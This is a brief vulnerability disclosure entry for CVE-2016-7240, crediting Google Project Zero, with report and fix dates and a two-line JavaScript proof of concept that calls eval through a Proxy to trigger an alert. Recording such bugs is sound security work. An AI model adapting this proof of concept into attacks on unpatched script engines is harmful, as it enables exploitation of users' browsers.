CVE-2016-7240 Report: Sep 2016 Fix: Nov 2016 Credit: Natalie Silvanovich, Google Project Zero PoC var p = new Proxy(eval, {}); p("alert(\"e\")"); Reference Microsoft Project Zero Fix